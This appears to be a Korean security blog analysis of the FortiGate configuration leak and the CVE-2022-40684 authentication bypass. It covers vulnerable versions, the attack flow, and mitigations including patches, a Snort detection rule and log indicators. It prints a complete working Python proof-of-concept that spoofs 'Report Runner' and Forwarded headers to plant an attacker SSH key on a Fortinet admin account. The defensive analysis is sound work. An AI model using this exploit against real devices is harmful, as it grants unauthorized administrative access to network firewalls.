- 다크웹 포럼에서 1만5000개 이상의 포티게이트(Fortigate) 방화벽 설정파일 공개 - 사용자 이름, 비밀번호, 장치 관리 디지털 인증서, 방화벽 규칙들이 포함되어 있음
내용
- 다크웹 포럼에서 1만5000개 이상의 포티게이트(Fortigate) 방화벽 설정파일 공개 > 사용자 이름, 비밀번호, 장치 관리 디지털 인증서, 방화벽 규칙들이 포함 > 25.01.14 최초 업로드 되었으나, 분석 결과 22년에 탈취한 정보일 가능성이 높음
- CVE-2022-40684 취약점을 악용해 방화벽을 침해한 것으로 분석 > 대체 경로 또는 채널을 사용하는 인증 우회[CWE-288]를 통해 인증되지 않은 공격자가 특별히 제작된 HTTP(S) 요청을 통해 관리 인터페이스에서 발생하는 인증을 우회할 수 있는 취약점 (CVSS: 9.8)
- 해당 사태에 영향받는 IP들을 pastebin[.]com/mffLfcLp에 공개 > 이번 사태와 관련이 없더라도, 크리덴셜, 인증서, 방화벽 규칙 모두 재설정 권장 > CVE-2022-40684 취약점 패치가 올바르게 적용되었는지도 점검
- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)
- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제 - FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시 - FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전 ① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6 ② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6 ③ FortiSwitchManager : 7.0.0 및 7.2.0 * FortiOS version 5.x, 6.x는 영향받지 않음
2.1 공격 원리
- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인
[사진 2] GET 요청 예시
- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정
- 이때, User-Agent 헤더와 Forwarded헤더를 조작
[사진 3] PUT 요청 예시
- 공격자의 접근을 위한 로컬 사용자 추가
2.2 취약점 분석
- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결
[사진 4] 헤더 구문 분석
- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.
[사진 5] api_check_access
- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수
- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출
- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음
[사진 6] is_trusted_ip_and_user_agent
2.3 PoC 분석
#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
HEADERS = {
'User-Agent': 'Report Runner',
'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}
def format_key(key_file):
with open(key_file) as f:
k = f.read().strip()
return(k)
def add_key(target, username, key_file):
key = format_key(key_file)
j = {
"ssh-public-key1": '\"' + key + '\"'
}
url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
r = requests.put(url, headers=HEADERS, json=j, verify=False)
if 'SSH key is good' not in r.text:
print(f'[-] {target} is not vulnerable!')
else:
print(f'[+] SSH key for {username} added successfully!')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
args = parser.parse_args()
add_key(args.target, args.username, args.key_file)
- PoC를 확인해보면 다음을 확인해 볼 수 있음
① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인
② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정
3. 대응방안
3.1 서버측면
① 최신 업데이트 적용
- FortiOS : 7.2.2 또는 7.0.7 -FortiProxy : 7.2.1 또는 7.0.7 -FortiSwitchManager : 7.2.1
- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트
② 즉시 보안 업데이트가 어려운 제품 사용자
- HTTP/HTTPS 관리 인터페이스 비활성화
- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고
- 이 후 최신 버전으로 업데이트 필요
3.2 네트워크 측면
① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함
alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)
3.3 공통
① 로그 모니터링
-해당 취약점에 노출되었는지 확인
- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인